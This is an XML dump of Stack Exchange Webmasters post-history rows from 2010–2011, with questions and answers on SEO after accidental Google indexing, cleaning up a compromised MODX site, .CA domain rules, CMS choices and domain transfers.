  <row Id="22862" PostHistoryTypeId="1" PostId="10242" RevisionGUID="581e0e7e-e65e-4051-b049-150d41485104" CreationDate="2011-03-07T23:45:58.210" UserDisplayName="hydrarulz" Text="PHP based ad server ( alternative to OpenX )" />
  <row Id="22863" PostHistoryTypeId="3" PostId="10242" RevisionGUID="581e0e7e-e65e-4051-b049-150d41485104" CreationDate="2011-03-07T23:45:58.210" UserDisplayName="hydrarulz" Text="&lt;php&gt;&lt;alternative&gt;&lt;openx&gt;" />
  <row Id="22864" PostHistoryTypeId="17" PostId="10242" RevisionGUID="56659fc2-3123-48f9-9f70-cbbd44a6b6b6" CreationDate="2011-03-08T00:41:27.093" UserId="-1" Comment="from http://stackoverflow.com/questions/5226738/php-based-ad-server-alternative-to-openx" Text="" />
  <row Id="22868" PostHistoryTypeId="2" PostId="10245" RevisionGUID="7e387376-b7fb-4fdf-93ab-f46017c25019" CreationDate="2011-03-08T00:57:02.453" UserId="5914" Text="I was making a site for a friend of mine and he wanted to be able to see progress as I work on the site. I decided to put the site on a server on my computer and enable access by a domain name registered to me.&#xD;&#xA;&#xD;&#xA;It turns out that I forgot to set up robots.txt for my server and somehow Google indexed my site with content I'm supposed to give ti my friend. &#xD;&#xA;&#xD;&#xA;My question is: What do I do now?&#xD;&#xA;&#xD;&#xA;As far as I know, Google doesn't like duplicated content and my friend could have problems when I upload the new site to his server. &#xD;&#xA;&#xD;&#xA;Right now, his current site which only has a work in progress page, is first on Google when searching for relevant keywords and I really really don't want to damage that.&#xD;&#xA;&#xD;&#xA;Also, are there other thing I need to be concerned about?" />
  <row Id="22869" PostHistoryTypeId="1" PostId="10245" RevisionGUID="7e387376-b7fb-4fdf-93ab-f46017c25019" CreationDate="2011-03-08T00:57:02.453" UserId="5914" Text="Google indexed site's address by accident. What do I do now?" />
  <row Id="22870" PostHistoryTypeId="3" PostId="10245" RevisionGUID="7e387376-b7fb-4fdf-93ab-f46017c25019" CreationDate="2011-03-08T00:57:02.453" UserId="5914" Text="&lt;seo&gt;&lt;google-search&gt;" />
  <row Id="22871" PostHistoryTypeId="2" PostId="10246" RevisionGUID="56cd8275-9730-4be4-8a37-12a3627fa398" CreationDate="2011-03-08T01:12:42.317" UserId="1253" Text="1) Immediately block the site you have up now using robots.txt&#xD;&#xA;&#xD;&#xA;2) On the development site use canonical URLs to point to the new site so that site gets credit for the content&#xD;&#xA;&#xD;&#xA;3) after you launch use 301 redirects from the development site to the new site so Google knows those pages have moved to new URLs" />
  <row Id="22872" PostHistoryTypeId="2" PostId="10247" RevisionGUID="0690ba31-709d-489c-b524-ce73a1a70bb6" CreationDate="2011-03-08T01:15:57.200" UserId="5718" Text="Add the robots.txt file to your server then request the pages to be removed from Google's index using Google Webmaster Tools. You should then set up 301 redirects to the new site when it goes live." />
  <row Id="22873" PostHistoryTypeId="5" PostId="10245" RevisionGUID="a145fea6-c59f-4636-b70a-4079abfd9368" CreationDate="2011-03-08T01:23:38.827" UserId="5914" Comment="edited body" Text="I was making a site for a friend of mine and he wanted to be able to see progress as I work on the site. I decided to put the site on a server on my computer and enable access by a domain name registered to me.&#xD;&#xA;&#xD;&#xA;It turns out that I forgot to set up robots.txt for my server and somehow Google indexed my site with content I'm supposed to give ti my friend. &#xD;&#xA;&#xD;&#xA;My question is: What do I do now?&#xD;&#xA;&#xD;&#xA;As far as I know, Google doesn't like duplicated content and my friend could have problems when I upload the new site to his server. &#xD;&#xA;&#xD;&#xA;Right now his current site, which only has a work in progress page, is first on Google when searching for relevant keywords and I really really don't want to damage that.&#xD;&#xA;&#xD;&#xA;Also, are there other thing I need to be concerned about?" />
  <row Id="22874" PostHistoryTypeId="5" PostId="10246" RevisionGUID="e1d93cf7-b3d6-40c7-a74c-f9945d377f79" CreationDate="2011-03-08T01:23:57.953" UserId="1253" Comment="added 241 characters in body" Text="1) Immediately block the site you have up now using robots.txt&#xD;&#xA;&#xD;&#xA;2) On the development site use [canonical URLs][1] to point to the new site so that site gets credit for the content. They do work cross-domain. [This meta tag][2] may also help.&#xD;&#xA;&#xD;&#xA;3) after you launch use 301 redirects from the development site to the new site so Google knows those pages have moved to new URLs&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&#xD;&#xA;  [2]: http://googlenewsblog.blogspot.com/2010/11/credit-where-credit-is-due.html" />
  <row Id="22875" PostHistoryTypeId="2" PostId="10248" RevisionGUID="2af2b4f2-1f01-4ce0-99fa-c4e41fd96a40" CreationDate="2011-03-08T01:40:32.613" UserId="1155" Text="I'm the webmaster (inherited the site from the developer) for a site called kenbrook.org. The site is currently being tagged as malware infected by Google, and gives the following details: http://www.google.com/safebrowsing/diagnostic?site=kenbrook.org&#xD;&#xA;&#xD;&#xA;Sadly, this is the second time it has occurred. I posted the issue when it happened last year originally on Stackoverflow [on this post][1], shortly after I inherited the site. At the time the fix was a simple removal of a few lines of code from a .js file, but I never did discover or resolve the vulnerability.&#xD;&#xA;&#xD;&#xA;The site is built on MODX, which neither I, nor the original builder, have any familiarity with. I've tried to check for security updates from MODX, but updating that software has been a real pain also.&#xD;&#xA;&#xD;&#xA;Sooo...what's my next step to getting this whole issue resolved? Or steps?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/3379123/my-site-has-been-tagged-as-malware-by-chrome-what-now" />
  <row Id="22876" PostHistoryTypeId="1" PostId="10248" RevisionGUID="2af2b4f2-1f01-4ce0-99fa-c4e41fd96a40" CreationDate="2011-03-08T01:40:32.613" UserId="1155" Text="MODX based site has been compromised, and tagged by Google as malware" />
  <row Id="22877" PostHistoryTypeId="3" PostId="10248" RevisionGUID="2af2b4f2-1f01-4ce0-99fa-c4e41fd96a40" CreationDate="2011-03-08T01:40:32.613" UserId="1155" Text="&lt;security&gt;&lt;malware&gt;" />
  <row Id="22878" PostHistoryTypeId="2" PostId="10249" RevisionGUID="956a335f-0c9f-43e2-aed4-e2a6d0770bc9" CreationDate="2011-03-08T02:10:59.753" UserId="5916" Text="What version of MODX are you running?&#xD;&#xA;&#xD;&#xA;I've been using MODX for years now and I honestly have no idea what can be a pain about updating.. simple overwrite all of the MODX files, and run the installer selecting &quot;upgrade&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In older versions (which seems to match your description of &quot;last year&quot; and finding updating hard to do) of MODX Evolution (1.x) some addons which are included in the package contained security holes. These are the reflect exploit, and one linked to ajaxsearch in one way or another.&#xD;&#xA;&#xD;&#xA;They have been fixed a long, long time ago but sites are still being targeted with it even if they are running different versions featuring many functional and security improvements. Your best bet is to simply upgrade to the latest (1.0.5). If you're having trouble with that, please visit the MODX Forums and request help there." />
  <row Id="22880" PostHistoryTypeId="25" PostId="10245" RevisionGUID="7e79ebeb-5497-45b8-bdb8-54802fb831bd" CreationDate="2011-03-08T02:23:29.627" Comment="http://twitter.com/#!/StackWebmasters/status/44946308221501440" />
  <row Id="22881" PostHistoryTypeId="19" PostId="5" RevisionGUID="9552d5f7-ae8b-4728-8e5c-3c59423bc352" CreationDate="2011-03-08T02:31:43.277" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="22882" PostHistoryTypeId="2" PostId="10250" RevisionGUID="148d88c1-63e9-4b92-9e95-6af5da21da25" CreationDate="2011-03-08T03:06:46.860" UserId="5917" Text="That's an old version, you definitely need to upgrade.  MODx doesn't have a one-click upgrade like WordPress. What you would need to do is download the latest version of Evolution, in your case at this time it would 1.0.5, upload it via FTP and overwrite the existing files, and then run the installer again, selecting &quot;Upgrade existing install&quot; and making sure to not install the sample site.  &#xD;&#xA;&#xD;&#xA;One suggestion I have is make a local copy of the site and trial the upgrade on that before doing it on the live site, so you can make sure it works.&#xD;&#xA;&#xD;&#xA;Make sure that before you do all this you've backed up your files and your database.  The only sticky point here is you don't know if the original developer modified any of the core files/snippets, because those changes will be overwritten. If it's possible to find out before upgrading then that's better.  But doing a trial upgrade on a local copy of the site and then checking the upgraded site thoroughly may alert you to any such issues." />
  <row Id="22883" PostHistoryTypeId="2" PostId="10251" RevisionGUID="10ffcce7-2d91-428b-bb1f-526354321330" CreationDate="2011-03-08T03:30:54.893" UserId="5919" Text="how to say, about the Squeezing all the SEO out of a URL as possible., i think it is necessary for the seoer to add links for the work of SEO, or the need of SEO, that is necessary work. for example, I have a **[Party tent][1]**, and i wanna make some SEO to this words, so i should do something of SEO to let this word be more valued. That is necessary for me.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quictents.co.uk/quictent-marquee-party-tent.html" />
  <row Id="22885" PostHistoryTypeId="5" PostId="10251" RevisionGUID="385fa7db-710d-4934-88bd-a56781126e23" CreationDate="2011-03-08T04:03:47.503" UserId="1253" Comment="Removed spam link" Text="how to say, about the Squeezing all the SEO out of a URL as possible., i think it is necessary for the seoer to add links for the work of SEO, or the need of SEO, that is necessary work. for example, I have a website about party tents, and i wanna make some SEO to this words, so i should do something of SEO to let this word be more valued. That is necessary for me.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22888" PostHistoryTypeId="2" PostId="10253" RevisionGUID="6550c4e2-2371-4f82-9aa4-cc45f631965d" CreationDate="2011-03-08T04:59:56.657" UserId="1383" Text="Well, the title says it all. It seems by CIRA (http://www.cira.ca/home-en/?lang=en) that I cannot, but the website doesn't make it explicitly clear how they check or anything like that...&#xD;&#xA;&#xD;&#xA;I have a domain name that I'd love to register for a business that will likely start in the US (where I'm based), but hopefully will grow globally (probably including Canada), but I want to build a brand around the domain name, and I do not want to get slammed by Canada yanking the domain name back if they discover I have no connection there.&#xD;&#xA;&#xD;&#xA;I only have experience with .com and .us domain names, so this is new territory for me. Any advice?" />
  <row Id="22889" PostHistoryTypeId="1" PostId="10253" RevisionGUID="6550c4e2-2371-4f82-9aa4-cc45f631965d" CreationDate="2011-03-08T04:59:56.657" UserId="1383" Text="Can I buy a .CA if I have no affiliation with Canada?" />
  <row Id="22890" PostHistoryTypeId="3" PostId="10253" RevisionGUID="6550c4e2-2371-4f82-9aa4-cc45f631965d" CreationDate="2011-03-08T04:59:56.657" UserId="1383" Text="&lt;domains&gt;&lt;top-level-domains&gt;" />
  <row Id="22891" PostHistoryTypeId="2" PostId="10254" RevisionGUID="7d0e065a-d6b4-48f8-a091-38cb4df5433e" CreationDate="2011-03-08T05:16:29.350" UserId="1155" Text="I've had great success with [Wordpress][1]. Granted - it's not built to be a CMS per se`, more designed to be a blogging engine, but it does really well with simple plugins, and even custom one's (if you are a little more PHP ambitious).&#xD;&#xA;&#xD;&#xA;I actually work for a nonprofit called [CURE International][2], and in the last year me and two other guys (I do HTML, CSS and design, and they do scripting and backend work) have rebuilt our whole site from this really cruddy old CMS all onto Wordpress. Our work even got featured on the [Wordpress showcase][3].&#xD;&#xA;&#xD;&#xA;It has proved to be VERY extensible. We're taking advantage of the [Blog][4], the Pages features, [User lists][5] for a staff directory, and even built a [completely custom plugin for our CUREkids program][6], which our reps in the field use to upload photos of kids from our actual hospitals in developing countries.&#xD;&#xA;&#xD;&#xA;There is even a very slick plugin for [ecommerce][7] that I've heard wonderful things about. I'm considering it as one of my top two options for relaunching our CURE store later this year.&#xD;&#xA;&#xD;&#xA;*To sum it up...*&#xD;&#xA;&#xD;&#xA;**PROS**&#xD;&#xA;&#xD;&#xA; 1. Easy to use and install, both from a server deploy standpoint, and from an admin interface standpoint.&#xD;&#xA; &#xD;&#xA; 2. Publishing content is very simple and intuitive.&#xD;&#xA;&#xD;&#xA; 3. There is a VERY large developer community, so updates and bug fixes are fairly quick, and lots of plugins and widgets to extend functionality exist.&#xD;&#xA;&#xD;&#xA; 4. The CMS is very Google friendly from a markup perspective.&#xD;&#xA;&#xD;&#xA; 5. For custom functionality that you need but cannot find in anyone's pluggin or tutorial, modification is pretty easy ***IF*** you are comfortable working with PHP&#xD;&#xA;&#xD;&#xA; 6. Stackexchange even has a dedicated [Q&amp;A site for Wordpress][8].&#xD;&#xA;&#xD;&#xA; 7. Arguably the perfect blogging platform for sites that are essentially a blog-style content site.&#xD;&#xA;&#xD;&#xA; 8. Supports multiple authors for content, users, etc.&#xD;&#xA;&#xD;&#xA; 9. Even supports multiple sites via Wordpress MU&#xD;&#xA;&#xD;&#xA;**CONS**&#xD;&#xA; &#xD;&#xA; 1. Ultimately the system's strength is blogging, so for more extensive functionality, you have to &quot;add on&quot; to the system via plugins, etc. - which means more items to keep track of updating, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Really can't think of any other cons to Wordpress - honestly I'm a big fan, so of course I have way more positive stuff to say than negatives.&#xD;&#xA;&#xD;&#xA;Hope this helps!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/&#xD;&#xA;  [2]: http://cure.org&#xD;&#xA;  [3]: http://wordpress.org/showcase/cure-international/&#xD;&#xA;  [4]: http://cure.org/blog/&#xD;&#xA;  [5]: http://cure.org/about/management-team/&#xD;&#xA;  [6]: http://cure.org/curekids/&#xD;&#xA;  [7]: http://www.instinct.co.nz/e-commerce/&#xD;&#xA;  [8]: http://wordpress.stackexchange.com/" />
  <row Id="22892" PostHistoryTypeId="25" PostId="10248" RevisionGUID="ea0ffc69-d350-4b45-bafc-9495d9d2c71d" CreationDate="2011-03-08T05:23:29.357" Comment="http://twitter.com/#!/StackWebmasters/status/44991605983293440" />
  <row Id="22893" PostHistoryTypeId="2" PostId="10255" RevisionGUID="3a480d45-6272-443c-b094-2fe5a20a339a" CreationDate="2011-03-08T06:42:38.583" UserId="5922" Text="It does appear that you would need to be a citizen, but I am unsure if they would be able to enforce it to that extent.  &#xD;&#xA;&#xD;&#xA;&quot;Subject to Canadian Presence Requirements.&quot;&lt;br /&gt;&#xD;&#xA;http://en.wikipedia.org/wiki/List_of_Internet_top-level_domains#sortable_table_id_1&lt;br /&gt;&#xD;&#xA;According to this document from easyDNS, you are required to have citizenship.&lt;br /&gt;&#xD;&#xA;http://support.easydns.com/canpresence.php3" />
  <row Id="22894" PostHistoryTypeId="2" PostId="10256" RevisionGUID="5f5c90ca-57dc-4b8f-97b5-77f51cb6a1bb" CreationDate="2011-03-08T06:53:46.310" UserId="5901" Text="Third party apps basically rely on page crawling for generating sitemaps. They are bound to miss out a good chunk of URL's. I'll suggest that you code up a small script which generates an XML sitemap by iterating over your CMS's database. If you have more than 10,000 URL's, you'll need to generate partial sitemaps and link them up via an index sitemap." />
  <row Id="22895" PostHistoryTypeId="2" PostId="10257" RevisionGUID="1f5df41c-ae1a-4336-9091-c15415880010" CreationDate="2011-03-08T06:57:06.120" UserId="5901" Text="Remove a page or site from Google's search results - http://www.google.com/support/webmasters/bin/answer.py?answer=164734" />
  <row Id="22896" PostHistoryTypeId="2" PostId="10258" RevisionGUID="32839ada-abb6-4f11-8f7f-a07cba88eec4" CreationDate="2011-03-08T07:02:09.767" UserId="5901" Text="That's not a &quot;domain transfer&quot; technically. You're only changing from one hosting service (if any) to another. You should contact Netfirms, setup a VPS account and then point your domain's DNS to it." />
  <row Id="22897" PostHistoryTypeId="5" PostId="10245" RevisionGUID="0a69d9e1-6ab2-4010-a284-face3193b2de" CreationDate="2011-03-08T07:03:02.683" UserId="18" Comment="spelling and grammar" Text="I was making a site for a friend of mine and he wanted to be able to see my progress as I worked on the site. I decided to put the site on a server on my computer and enable access by a domain name registered to me.&#xD;&#xA;&#xD;&#xA;It turns out that I forgot to set up `robots.txt` for my server and somehow Google indexed my site with content I was supposed to give just to my friend. &#xD;&#xA;&#xD;&#xA;My question is: What do I do now?&#xD;&#xA;&#xD;&#xA;As far as I know, Google doesn't like duplicated content and my friend could have problems when I upload the new site to his server. &#xD;&#xA;&#xD;&#xA;Right now his current site, which only has a work in progress page, is first on Google when searching for relevant keywords and I really really don't want to damage that.&#xD;&#xA;&#xD;&#xA;Also, are there other thing I need to be concerned about?" />
  <row Id="22898" PostHistoryTypeId="24" PostId="10245" RevisionGUID="0a69d9e1-6ab2-4010-a284-face3193b2de" CreationDate="2011-03-08T07:03:02.683" Comment="Proposed by 18 approved by -1 edit id of 51" />
  <row Id="22899" PostHistoryTypeId="5" PostId="10245" RevisionGUID="566c28bd-282a-4b2b-99d9-740bfb561467" CreationDate="2011-03-08T07:03:03.120" UserId="1064" Comment="Revised per suggested edit" Text="I was making a site for a friend of mine and he wanted to be able to see my progress as I worked on the site, so I decided to put the site on a server on my computer and enable access by a domain name registered to me.&#xD;&#xA;&#xD;&#xA;It turns out that I forgot to set up a `robots.txt` file for the site and somehow Google indexed the site. &#xD;&#xA;&#xD;&#xA;My question is: What do I do now?&#xD;&#xA;&#xD;&#xA;As I understand it, Google doesn't like duplicate content and my friend could have problems when I upload the new site to his server. &#xD;&#xA;&#xD;&#xA;Right now his current site, which only has a work in progress page, is first on Google when searching for relevant keywords and I really really don't want to damage that.&#xD;&#xA;&#xD;&#xA;Is there anything else I need to be concerned about?" />
  <row Id="22900" PostHistoryTypeId="2" PostId="10259" RevisionGUID="87f735dd-46bf-4bdd-bf9b-f48270a4f205" CreationDate="2011-03-08T07:06:36.423" UserId="5901" Text="Approach #1 intuitively seems better. That's because logically, the middle of the domain is indicative of a &quot;content hierarchy&quot; and the last portion signifies what the actual content is." />
  <row Id="22901" PostHistoryTypeId="2" PostId="10260" RevisionGUID="6752bb46-9e7f-4268-aaf0-f9d40ae4e268" CreationDate="2011-03-08T07:10:21.880" UserId="5901" Text="You can consider hosting on a Amazon EC2 using a Windows Server based instance. It's easy to scale up when you experience traffic spikes (and scale down later)" />
  <row Id="22902" PostHistoryTypeId="2" PostId="10261" RevisionGUID="75c80aff-f058-499b-9216-42c2d5b541da" CreationDate="2011-03-08T07:13:43.673" UserId="5901" Text="You can write your own event logger. The best way will be to have a URL structure like http://yoursite.com/record_action?user=abc@gmail.com&amp;page=homepage&amp;clicked_on=top_banner and store all that data in a database. You can invoke these URL's via javascript (say, when a user clicks on a link) or trigger them from the backend on page load." />
  <row Id="22903" PostHistoryTypeId="2" PostId="10262" RevisionGUID="80111f23-8d96-4a9e-93dc-2892a5483f13" CreationDate="2011-03-08T07:56:54.313" UserId="5926" Text="Infected code? I would save CSS, pictures and content and startover in the latest release. &#xD;&#xA;&#xD;&#xA;http://4up2date.info/modx.html#upgrade " />
  <row Id="22904" PostHistoryTypeId="25" PostId="10242" RevisionGUID="e488929b-75f4-4e41-9bb8-a1613540c451" CreationDate="2011-03-08T08:23:30.693" Comment="http://twitter.com/#!/StackWebmasters/status/45036910535639040" />
  <row Id="22905" PostHistoryTypeId="2" PostId="10263" RevisionGUID="2052957c-48a2-410c-80b8-a8acb4ca05bb" CreationDate="2011-03-08T09:10:47.917" UserId="5930" Text="Go for Joomla. Use rockettheme template [ i will configure it for you for free :D] use virtue mart and Login is handled by Joomla itself.&#xD;&#xA;Else&#xD;&#xA;Joomla as site, Open Cart as shopping.Have a happy day" />
  <row Id="22906" PostHistoryTypeId="2" PostId="10264" RevisionGUID="cef1ab9a-0a07-4019-bb6a-2592529735fc" CreationDate="2011-03-08T09:14:51.140" UserId="5930" Text="use Vanilla forums for Joomla, also engage interaction using PHPBB3 bridges with Joomla" />
  <row Id="22907" PostHistoryTypeId="5" PostId="10216" RevisionGUID="adebf683-38a4-461d-ae47-5a0422f74d4d" CreationDate="2011-03-08T09:23:55.890" UserId="5900" Comment="added 2 characters in body" Text="How can I track *new* traffic sources for my site? (with google analytics or other tool)&#xD;&#xA;&#xD;&#xA;For example, if site is mentioned on forum it gets some visits from here, but it isn't visible (easy) in traffic sources report because number of visits relatively small." />
  <row Id="22908" PostHistoryTypeId="2" PostId="10265" RevisionGUID="74c4990b-de46-455f-b605-d6c2572fafc1" CreationDate="2011-03-08T09:32:09.323" UserId="5931" Text="A web developer (.NET) and newbie to the SEO world!&#xD;&#xA;&#xD;&#xA;Where and how to start ?&#xD;&#xA;&#xD;&#xA;What are the steps to go from a newbie to more experienced SEO ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance =)" />
  <row Id="22909" PostHistoryTypeId="1" PostId="10265" RevisionGUID="74c4990b-de46-455f-b605-d6c2572fafc1" CreationDate="2011-03-08T09:32:09.323" UserId="5931" Text="How to start learning SEO" />
  <row Id="22910" PostHistoryTypeId="3" PostId="10265" RevisionGUID="74c4990b-de46-455f-b605-d6c2572fafc1" CreationDate="2011-03-08T09:32:09.323" UserId="5931" Text="&lt;seo&gt;" />
  <row Id="22911" PostHistoryTypeId="5" PostId="10265" RevisionGUID="e6dcf5c5-ba87-41a0-a419-45fffcdd1c34" CreationDate="2011-03-08T10:07:07.350" UserId="5931" Comment="added 11 characters in body" Text="I'm a web developer (.NET) and a newbie to the SEO world!&#xD;&#xA;&#xD;&#xA;Where and how to start ?&#xD;&#xA;&#xD;&#xA;What are the steps to go from a newbie to be a more experienced SEO ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance =)" />
  <row Id="22913" PostHistoryTypeId="17" PostId="10267" RevisionGUID="3a0310cf-116c-4b41-8f8a-8c7712ab65d5" CreationDate="2011-03-08T10:36:32.860" UserId="-1" Comment="from http://stackoverflow.com/questions/2987406/domain-transfer-protection-need-advice/2987434#2987434" Text="" />
  <row Id="22914" PostHistoryTypeId="2" PostId="10267" RevisionGUID="d17dc7be-27aa-4890-8c7a-7353cf05d817" CreationDate="2010-06-07T06:19:52.903" UserDisplayName="Ofir" Text="https://www.escrow.com/index.asp&#xD;&#xA;&#xD;&#xA;Or a similar (not necessary online) service would make sense (I am not familiar with the above service - just posted it as an example, also - IANAL)." />
  <row Id="22915" PostHistoryTypeId="2" PostId="10266" RevisionGUID="aa59efa5-495a-4f67-9543-041c21812f75" CreationDate="2010-06-07T06:12:18.970" UserDisplayName="Jack" Text="I am about to purchase a domain name for a bit of money. I do not personally know the person who I am purchasing the domain name from, we have only chatted via email.&#xD;&#xA;&#xD;&#xA;The proposed process for the transfer is:&#xD;&#xA;&#xD;&#xA; 1. The owner of the domain lowest the&#xD;&#xA;    domain name security and emails me&#xD;&#xA;    the domain password, I request the&#xD;&#xA;    transfer&#xD;&#xA; 2. After the request, I transfer the money via PayPal&#xD;&#xA; 3. When the money has been cleared the current domain name owner confirms the transfer via the link that he receives in that email&#xD;&#xA; 4. I wait for it to be transferred.&#xD;&#xA;&#xD;&#xA;The domain is currently registered with DirectNIC - http://www.directnic.com/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is this the best practice? Seeing I am paying a bit of money for this domain name, I am worried that after the money has been cleared that I won't see the domain name or hear from the current domain name owner again.&#xD;&#xA;&#xD;&#xA;Is there a 'domain governing body' which I can report to if this is the case?&#xD;&#xA;Is the proposed transfer process the best solution?&#xD;&#xA;&#xD;&#xA;Any advice would be awesome.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;Jack" />
  <row Id="22916" PostHistoryTypeId="1" PostId="10266" RevisionGUID="aa59efa5-495a-4f67-9543-041c21812f75" CreationDate="2010-06-07T06:12:18.970" UserDisplayName="Jack" Text="Domain Transfer Protection - need advice" />
  <row Id="22917" PostHistoryTypeId="3" PostId="10266" RevisionGUID="aa59efa5-495a-4f67-9543-041c21812f75" CreationDate="2010-06-07T06:12:18.970" UserDisplayName="Jack" Text="&lt;domains&gt;" />
  <row Id="22918" PostHistoryTypeId="17" PostId="10266" RevisionGUID="17e1a25a-1551-4111-b377-5666cb587d8f" CreationDate="2011-03-08T10:36:32.860" UserId="-1" Comment="from http://stackoverflow.com/questions/2987406/domain-transfer-protection-need-advice" Text="" />
  <row Id="22919" PostHistoryTypeId="2" PostId="10268" RevisionGUID="11d68177-cc7c-4d02-af63-4c7352cd7f18" CreationDate="2011-03-08T10:51:43.437" UserId="5930" Text="OK i am going to take you through a joomla tour, so sit back and enjoy.&#xD;&#xA;Joomla Manages modules and does all the magic work behind the scenes using Menu as the only parameter.&#xD;&#xA;Mastery of menu will give you a degree in Joomla![i donno if it has one]&#xD;&#xA;&#xD;&#xA;http://docs.joomla.org/What_are_the_different_Menu_Item_Types%3F&#xD;&#xA;&#xD;&#xA;the above link lists all the menu types available at your disposal.&#xD;&#xA;I suppose you wanted to link a menu item to an external URL?[did i get it right?] and here is some info&#xD;&#xA;&#xD;&#xA;**External Link&#xD;&#xA;Lets you link to an external site. There may be occasions where you also want to point to a link directly to a apage on your site.**&#xD;&#xA;&#xD;&#xA;Here is what you need to do to create a menu link to Google.&#xD;&#xA;**Step1:** Login to backend, Menus -&gt; MainMenu (star) click on it. Joomla needs a default mandatory menu and that's what the star indicates.&#xD;&#xA;&#xD;&#xA;**Step2:** Click New, Select External URL [below in the list]&#xD;&#xA;&#xD;&#xA;**Step3:** Type in the title. Title is the text that will be displayed visually for the menu item. Type &quot;Google &quot; as title&#xD;&#xA;&#xD;&#xA;**Step4:** Type in alias &quot;lets-google-that&quot;, Alias is magic that helps you in SEO. Alias is by default the title with space replaced by -. Alias is what appears in the address bar of the browser when you click the menu item[ here it is useless as it is external link].&#xD;&#xA;&#xD;&#xA;****Step5:****Publish it, set some primary parameter there you have it&#xD;&#xA;All done, now go and find some people to click that link" />
  <row Id="22920" PostHistoryTypeId="2" PostId="10269" RevisionGUID="724ba30e-d199-4c10-bfed-405052b4d3da" CreationDate="2011-03-08T11:09:16.130" UserId="4304" Text="OK, So I've got created a page on my wiki which contains just a single table listing various details about servers and customers.&#xD;&#xA;&#xD;&#xA;You can follow links for each customer name in the table to find additional details about said customer.  &#xD;&#xA;&#xD;&#xA;**What I want to know is; Can the information in the customers page (page B) be used to dynamically update the table (Page A).** Is this something that the Semantic MediaWiki extension can accomplished?&#xD;&#xA;&#xD;&#xA;*Running Mediawiki 1.16.2*" />
  <row Id="22921" PostHistoryTypeId="1" PostId="10269" RevisionGUID="724ba30e-d199-4c10-bfed-405052b4d3da" CreationDate="2011-03-08T11:09:16.130" UserId="4304" Text="Can a Mediawiki table be dynamically created using other Mediawiki pages?" />
  <row Id="22922" PostHistoryTypeId="3" PostId="10269" RevisionGUID="724ba30e-d199-4c10-bfed-405052b4d3da" CreationDate="2011-03-08T11:09:16.130" UserId="4304" Text="&lt;mediawiki&gt;&lt;semantic-web&gt;" />
  <row Id="22923" PostHistoryTypeId="2" PostId="10270" RevisionGUID="c83b8839-677e-4462-82e0-79f88a61e5b5" CreationDate="2011-03-08T11:13:07.453" UserId="5930" Text="I hope you are using Gavick news pro  Gk3, you better of ask the community there but here are few hints&#xD;&#xA;Change size of post image, needs to be defined in the Php file (if it is img tag, if it is background image then you need to resize the image.&#xD;&#xA;&#xD;&#xA;Definitely needs the code editing in php file. But actually doesn't the image link to the source which actually is the post. Also it shows the title of post on hovering i suppose.&#xD;&#xA;&#xD;&#xA;in `/modules/mod_smooth_gallery_camp26/smooth_gallery/jd.gallery.css` &#xD;&#xA;&#xD;&#xA;find the class declaration like below and change the font-size to something like 12px&#xD;&#xA;&#xD;&#xA;        .jdGallery .slideInfoZone h2 {&#xD;&#xA;          color: #FFFFFF;&#xD;&#xA;          font-size: 18px;&#xD;&#xA;          ...&#xD;&#xA;          padding-top: 0;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;I don;t see any sections in the image rotators, could you tell more" />
  <row Id="22924" PostHistoryTypeId="2" PostId="10271" RevisionGUID="0c0774aa-c6e4-4914-a7ee-3ae4fa51bdeb" CreationDate="2011-03-08T11:16:32.083" UserId="5930" Text="I would recommend `http://demo.rockettheme.com/free/quasar/`  and use any of extensions from here `http://www.yootheme.com/tools/extensions`" />
  <row Id="22925" PostHistoryTypeId="25" PostId="10265" RevisionGUID="5e09488d-5a9e-46b1-b583-7a8088aa3646" CreationDate="2011-03-08T11:23:31.563" Comment="http://twitter.com/#!/StackWebmasters/status/45082211879370752" />
  <row Id="22926" PostHistoryTypeId="2" PostId="10272" RevisionGUID="77256971-2cda-43a5-9510-404e9f303d31" CreationDate="2011-03-08T11:24:12.903" UserId="5739" Text="For a lot of the smaller companies (us included) we are just resellers for a Registrar (in our case NetEarthOne). Registrars often offer different pricing bands depending on the volume of domains you purchase from them and then resell via your site.&#xD;&#xA;&#xD;&#xA;As we are low volume, we pay more than other higher volume resellers but we don't add any mark-up on our cost price so often our domains are actually cheaper than some of the larger companies for example Fasthosts. &#xD;&#xA;&#xD;&#xA;It is the same as many businesses, the big Registrars can buy in bulk, keeping prices down low and then the middlemen (us) can either sell at cost or try to make a small profit. Those resellers buying/selling more can leverage cheaper prices which they *can* then pass on to their customers. There can be several layers of Resellers as well which can push the price up or and extra layers of obfuscation which can hamper when trying to make changes to your domain.&#xD;&#xA;&#xD;&#xA;Some companies also sell domains below cost or free as a loss-leader to try and get the business in. Same as your supermarket selling the bread &amp; milk cheap to get you through the door.&#xD;&#xA;&#xD;&#xA;You should be looking to see what additional features their dolman registration provides. Do they have a control panel where you can change the nameservers or update your contact details? Do they offer domain privacy whereby your details are hidden by a front company e.g. PrivacyProtect.org so spammers can't harvest your email address from a whois lookup. Do they allow free transfers out and can you run this process from your control panel?&#xD;&#xA;&#xD;&#xA;Is it better to go with a big name? I don't know. Ok they are well known so you &quot;should&quot; be in safer hands but as Lèse majesté says, even the big names can be underhand. Everyone will have a customer service horror story they can tell you about company X, Y or Z. The little guy can often provide a better price &amp; service and you will end up building a good relationship with them which can help when it comes to requiring additional services or needing advice.&#xD;&#xA;&#xD;&#xA;Not really much of an answer, more of a ramble but I hope it helps.&#xD;&#xA;" />
